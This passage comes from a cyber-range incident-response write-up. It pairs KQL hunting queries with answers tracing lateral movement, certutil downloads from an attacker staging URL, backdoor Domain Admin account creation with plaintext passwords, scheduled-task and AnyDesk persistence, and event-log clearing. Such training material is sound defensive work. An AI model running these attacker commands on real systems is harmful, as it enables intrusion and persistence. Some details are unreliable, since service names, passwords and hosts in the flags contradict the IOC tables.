| where EventCode_s == "1"
| where CommandLine_s has "C$"
| where CommandLine_s has_any ("copy", "xcopy", "move")
| project UtcTime_s, Computer, User_s, Image_s, ParentImage_s, CommandLine_s
| order by UtcTime_s asc

Answer: cmd.exe /c copy C:\Users\Public\update.exe \\EC2AMAZ-16V3AU4\C$\Users\Public\update.exe

Analysis: The attacker copied their primary implant (update.exe) to the server via the C$ administrative share using the compromised Administrator credentials obtained from the LSASS dump. Windows admin shares (C$, ADMIN$, IPC$) are accessible to domain administrators and are a primary lateral movement vector in Windows environments.

📸

---

FLAG 31 — Download Utility and URL

Question: On the server, a built-in Windows utility was abused to download tools from the attacker's staging infrastructure. What utility was used, and what was the full URL it downloaded from? Format: utility.exe > URL

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "http"
| extend Utility = tostring(split(Image_s, "\")[-1])
| extend URL = extract(@"(http[^\s""]+)", 1, CommandLine_s)
| where isnotempty(URL)
| project UtcTime_s, Computer, Utility, URL, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: certutil.exe > http://sync.cloud-endpoint.net:8080/AnyDesk.exe

Analysis: certutil.exe is a Windows certificate management utility that can download files from URLs — a well-known LOLBin abused for tool staging. The attacker downloaded AnyDesk.exe from their staging server sync.cloud-endpoint.net. certutil.exe is frequently monitored by EDR tools, but in environments without EDR it remains highly effective.

📸

---

FLAG 32 — Impacket Service Name

Question: The attacker used a remote execution technique that creates temporary Windows services with random names. These appear in EventCode 7045 in Raw_s. This answer is case-sensitive. Format: Service name (case-sensitive)

KQL Query:

EmberForgeX_CL
| where EventCode_s == "7045"
| parse Raw_s with * "ServiceName'>" ServiceName "<" *
| parse Raw_s with * "ServiceFileName'>" ServiceFileName "<" *
| project Computer, ServiceName, ServiceFileName, Raw_s

Answer: MzLblBFm

Analysis: The random 8-character mixed-case service name MzLblBFm is the unmistakable signature of Impacket's remote execution modules (smbexec.py or secretsdump.py). Impacket creates a temporary service with a random name, uses it to execute commands, then deletes it. If you see a service name matching [A-Za-z]{8} created during an incident, that is Impacket — treat it as confirmed attacker presence.

📸

---

FLAG 33 — First Command on New Host

Question: The remote execution technique redirects command output to temporary files. The very first attacker command on any newly compromised host is almost always the same. Format: Command name only

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s contains "whoami" or ParentCommandLine_s contains "whoami"
| project UtcTime_s, Computer, CommandLine_s, ParentCommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: whoami

Analysis: whoami is always the first command Impacket executes automatically upon gaining remote execution on a new host. It confirms code execution is working and reveals the privilege level of the executing account. The output (> \Windows\Temp\[random]) is redirected to a temp file for reading. Seeing cmd.exe /C whoami > \Windows\Temp\[random] with svchost.exe as parent is the definitive Impacket arrival signature.

📸

---

FLAG 34 — Failed Authentication Protocol

Question: The attacker's first lateral movement method was unreliable. Authentication logs on the server show repeated failures from an internal host. Examine EventCode 4625. Format: Protocol name

KQL Query:

EmberForgeX_CL
| where EventCode_s == "4625"
| where Computer contains "16V3AU4"
| project TimeGenerated, Computer, Caller_User_Name_s, src_ip_s, Raw_s

Answer: NTLM

Analysis: EventCode 4625 (failed logon) logs on the server show repeated NTLM authentication failures from the workstation IP before lateral movement succeeded. This indicates the attacker initially tried SMB-based techniques with credentials that weren't yet working — likely before obtaining valid hashes from the LSASS dump. The cluster of failures followed by success is a textbook credential attack pattern.

📸

---

FLAG 35 — First Command on DC (whoami > tool)

Question: The attacker reached the Domain Controller and immediately began working towards the AD database. Trace the first command and the extraction tool. Format: first_command > tool.exe

KQL Query:

EmberForgeX_CL
| where EventCode_s == "1"
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where Computer contains "EEU3IA2"
| where ParentImage_s !contains "splunk"
| project UtcTime_s, User_s, Image_s, CommandLine_s, ParentImage_s
| sort by UtcTime_s asc

Answer: whoami > vssadmin.exe

Analysis: This was the hardest flag in the investigation — taking 50 attempts for other analysts. The key insight: whoami at 23:19:21 was the true first command (Impacket's automatic recon), not vssadmin at 23:34:56. The format separates the first command (whoami) from the AD extraction tool (vssadmin.exe). Always search the full time window from the beginning — never assume the attack starts where the obvious malicious activity is.

📸

---

FLAG 36 — Backdoor Account Username

Question: After extracting the database, the attacker created a new account designed to blend in with legitimate service accounts. Format: username

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has_any ("net user", "New-LocalUser", "New-ADUser", "dsadd user")
| where CommandLine_s has "/add"
| project UtcTime_s, Computer, Image_s, CommandLine_s, ParentImage_s
| order by todatetime(UtcTime_s) asc

Answer: svc_backup

Analysis: The account name svc_backup is designed to impersonate a legitimate service account — backup service accounts are common in enterprise environments and often overlooked during account audits. Creating a domain account on the DC gives the attacker a persistent foothold that survives reimaging of workstations and servers. This account must be disabled and deleted immediately.

📸

---

FLAG 37 — Backdoor Account Password

Question: The account creation command included the password as a command line argument. Terrible OPSEC, but captured permanently in your logs. Format: Plaintext password

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| extend Cmd = coalesce(CommandLine_s, Process_Command_Line_s)
| where Cmd has_all ("net user", "/add")
| extend Username = extract(@"net user\s+([^\s]+)", 1, Cmd)
| extend Password = extract(@"net user\s+[^\s]+\s+([^\s]+)\s+/add", 1, Cmd)
| where isnotempty(Username) and isnotempty(Password)
| project Time=todatetime(UtcTime_s), Computer, Username, Password, Cmd
| order by Time asc

Answer: Backup2024!

Analysis: The password Backup2024! follows the same predictable Season/Role + Year + Symbol pattern as Summer2024! — suggesting the attacker uses a simple password formula. Both passwords are now permanently recorded in Sysmon logs, making them useless for future attacks and valuable IOCs. This is why command line logging is so powerful — attackers frequently expose credentials in arguments.

📸

---

FLAG 38 — Privilege Escalation Group

Question: Creating an account is not enough. The attacker ran a second command to give it elevated privileges. Format: Group name

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| where CommandLine_s has "svc_backup"
| where CommandLine_s has_any ("net group", "net localgroup", "Add-ADGroupMember")
| where CommandLine_s has "/add"
| project UtcTime_s, Computer, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: Domain Admins

Analysis: Adding svc_backup to Domain Admins gives the attacker the highest level of persistent access in the domain. Domain Admin accounts can access any resource in the domain, create additional accounts, modify Group Policy, and perform DCSync attacks. Even if all other compromised accounts are reset, this backdoor account would give the attacker full domain re-entry.

📸

---

FLAG 39 — Drive Mapping Password

Question: The attacker needed to map a network drive on the DC to access tools. The drive mapping command included authentication credentials in plain text. Format: Plaintext password

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| extend Cmd = coalesce(CommandLine_s, Process_Command_Line_s)
| where Cmd has_all ("net user", "/add")
| extend Username = extract(@"net user\s+([^\s]+)", 1, Cmd)
| extend Password = extract(@"net user\s+[^\s]+\s+([^\s]+)\s+/add", 1, Cmd)
| where isnotempty(Username) and isnotempty(Password)
| project Time=todatetime(UtcTime_s), Computer, Username, Password, Cmd
| order by Time asc

Answer: P@ssw0rd123!

Analysis: The net use command mapped a network drive using plaintext credentials — permanently logged by Sysmon. This reveals yet another compromised account credential. The password P@ssw0rd123! is a common weak password matching predictable substitution patterns. All three passwords found (Summer2024!, Backup2024!, P@ssw0rd123!) indicate poor password hygiene across the organisation.

📸

---

FLAG 40 — Scheduled Task Name

Question: The attacker created a scheduled task to ensure their payload survives reboots. The name was chosen to look legitimate. Format: Task name

KQL Query:

EmberForgeX_CL
| where EventCode_s == "1"
| where CommandLine_s contains "schtasks"
| project UtcTime_s, Computer, CommandLine_s
| order by todatetime(UtcTime_s) asc

Answer: WindowsUpdate

Analysis: The task name WindowsUpdate impersonates a legitimate Windows system process to avoid detection during manual log review. The task runs C:\Users\Public\update.exe at system startup (/sc onstart /ru system), ensuring the beacon persists across reboots and runs as SYSTEM. This is why scheduled task names alone cannot be trusted — always verify the executable path the task runs.

📸

---

FLAG 41 — Remote Access Software

Question: A legitimate remote management application was silently installed for unattended access. Format: Software name

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| extend ProcCmd = coalesce(CommandLine_s, Process_Command_Line_s)
| where ProcCmd has_any ("anydesk", "teamviewer", "screenconnect", "vnc", "logmein", "splashtop")
| project UtcTime_s, Computer, Image_s, ProcCmd
| order by todatetime(UtcTime_s) asc

Answer: AnyDesk

Analysis: AnyDesk was silently installed with --install C:\ProgramData\AnyDesk --start-with-win --silent flags, providing the attacker a persistent, GUI-based remote access channel that operates independently of the beacon. This is a secondary persistence mechanism — if the update.exe beacon is removed, the attacker retains access via AnyDesk. AnyDesk must be completely uninstalled and its configuration wiped during remediation.

📸

---

FLAG 42 — AnyDesk Config Path

Question: The attacker read and modified the remote access tool's configuration file. The commands reveal its full path. Format: Full path (e.g., C:\Path\To\config.file)

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s in ("1", "11")
| extend ProcCmd = coalesce(CommandLine_s, Process_Command_Line_s)
| where ProcCmd has "AnyDesk" or TargetFilename_s has "AnyDesk"
| where ProcCmd has_any ("type ", "copy ", "echo ", "findstr ", "notepad", "system.conf")
    or TargetFilename_s has "system.conf"
| project UtcTime_s, Computer, Image_s, ProcCmd, TargetFilename_s
| order by UtcTime_s asc

Answer: C:\ProgramData\AnyDesk\system.conf

Analysis: The AnyDesk configuration file system.conf was read and modified by the attacker to configure unattended access settings — likely setting a password for unattended connections and disabling security prompts. This file path confirms the install location and should be targeted during forensic collection. Any system.conf modifications set by the attacker must be treated as attacker-controlled configuration.

📸 [Screenshot placeholder — system.conf path in AnyDesk commands]

---

FLAG 43 — Log Clearing Tool

Question: The attacker used a built-in Windows utility to clear event logs on the DC. What tool was used? Format: Tool name

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| extend ProcCmd = coalesce(CommandLine_s, Process_Command_Line_s)
| where ProcCmd has "wevtutil"
| project UtcTime_s, Computer, ProcCmd
| order by UtcTime_s asc

Answer: wevtutil

Analysis: wevtutil (Windows Event Utility) is the built-in Windows command-line tool for managing event logs, including clearing them. Using a native tool for log clearing is a LotL technique — no additional binary to drop. However, the act of clearing logs itself generates Event ID 1102 (Security log cleared) and 104 (System log cleared) — ironically creating evidence of the cover-up. Sysmon logs persisted because they write to a separate channel.

📸

---

FLAG 44 — Logs Cleared

Question: The attacker cleared more than one event log. Each clearing command targets a specific log by name. What two logs were cleared? Format: Log names, comma-separated

KQL Query:

EmberForgeX_CL
| where todatetime(UtcTime_s) between (datetime(2026-01-30 21:00:00) .. datetime(2026-01-31 00:00:00))
| where EventCode_s == "1"
| extend ProcCmd = coalesce(CommandLine_s, Process_Command_Line_s)
| where ProcCmd has "wevtutil"
| project UtcTime_s, Computer, ProcCmd
| order by UtcTime_s asc

Answer: Security, System

Analysis: The attacker executed wevtutil cl Security and wevtutil cl System on the Domain Controller, deliberately targeting the two logs most likely to contain evidence of their activity — logon events (Security) and service installation events (System). This creates evidence gaps in the DC timeline. However, Sysmon logs (written to the Microsoft-Windows-Sysmon/Operational channel) were not cleared and preserved the full attack chain, demonstrating the critical value of Sysmon deployment.

📸

---

Evidence Gaps and Limitations

The following gaps were identified during investigation:

Gap	Cause	Impact
DC Security log wiped	wevtutil cl Security	Logon events on DC not available
DC System log wiped	wevtutil cl System	Service installation events on DC partially missing
Sysmon preserved	Not cleared by attacker	Full process/network/registry chain intact

Sysmon telemetry compensated for the cleared Windows logs, confirming the value of deploying Sysmon across all hosts including Domain Controllers.

Additional checks performed (negative findings):

• DNS tunnelling: No anomalous DNS query patterns detected
• DCSync: No evidence of replication API calls in available telemetry
• Kerberoasting / AS-REP Roasting: No anomalous Kerberos ticket requests observed
• WMI persistence: No WMI event subscription activity detected
• Registry Run keys: No Run/RunOnce modifications beyond UAC bypass keys
• Additional services on other hosts: None identified beyond Impacket service on DC

---

Indicators of Compromise (IOCs)

File Hashes and Paths

Type	Value
Malicious DLL	D:\review.dll
Primary implant	C:\Users\Public\update.exe
Exfil tool	C:\Users\Public\rclone.exe
Config file	C:\Users\Public\rclone.conf
LSASS dump	C:\Windows\Temp\lsass.dmp
Staged zip	C:\Users\Public\gamedev.zip
Remote access	C:\ProgramData\AnyDesk\system.conf

Network IOCs

Type	Value
C2 Domain	cdn.cloud-endpoint.net
C2 IP	194.165.16.11
Staging server	files.cdn-delivery.net
MEGA exfil IP	31.216.148.28

Account IOCs

Type	Value
Patient zero	EMBERFORGE\lmartin
Backdoor account	svc_backup
Attacker email	jwilson.vhr@proton.me
Password found	Summer2024!
Password found	Backup2024!
Password found	Passw0rd!

Persistence Mechanisms

Type	Value
Scheduled task	WindowsUpdate → C:\Users\Public\update.exe
Remote access	AnyDesk (silent, start-with-win)
Backdoor account	svc_backup in Domain Admins
Impacket service	fHxLXpku (temporary, deleted)

---

Remediation Recommendations

1. Immediate containment: Isolate all three hosts from the network
2. Reset all domain credentials: Every account — ntds.dit was exfiltrated
3. Disable and delete svc_backup account
4. Remove AnyDesk from all hosts, verify no unattended access passwords set
5. Block at perimeter: 194.165.16.11, cdn.cloud-endpoint.net, files.cdn-delivery.net, 31.216.148.28
6. Delete WindowsUpdate scheduled task on all hosts
7. Remove C:\Users\Public\update.exe, rclone.exe, rclone.conf, gamedev.zip
8. Audit firewall rules — remove allow_smb rule
9. Notify MEGA abuse team with account jwilson.vhr@proton.me
10. Breach notification: C:\GameDev source code confirmed exfiltrated to MEGA
11. Strengthen passwords: Implement policy blocking predictable patterns
12. Deploy EDR on all hosts including Domain Controllers

---

Conclusion

The EmberForge breach began with a targeted spearphishing attack against Lead Artist Lisa Martin, who opened a malicious ISO containing a DLL payload. The attacker used sophisticated techniques throughout — process injection, UAC bypass, direct syscall LSASS dumping, and VSS-based AD credential theft — suggesting an experienced threat actor. The full attack lifecycle from initial access to Domain Controller compromise and data exfiltration completed within approximately 2.5 hours.

The critical finding: ntds.dit was exfiltrated — every credential in the emberforge.local domain must be treated as compromised. The game source code (C:\GameDev) was confirmed exfiltrated to MEGA cloud storage. The presence of AnyDesk and the svc_backup backdoor account indicates the attacker intended to maintain long-term access.

Sysmon telemetry was the backbone of this investigation, providing the process execution chain, network connections, DNS queries, file creation events, and registry modifications that made full attack reconstruction possible. The cleared Windows event logs on the DC created gaps that Sysmon compensated for — demonstrating that Sysmon deployment across all hosts, including Domain Controllers, is non-negotiable.

---

Report generated as part of the EmberForge Incident Response investigation | cyber range training exercise | law-cyber-range workspace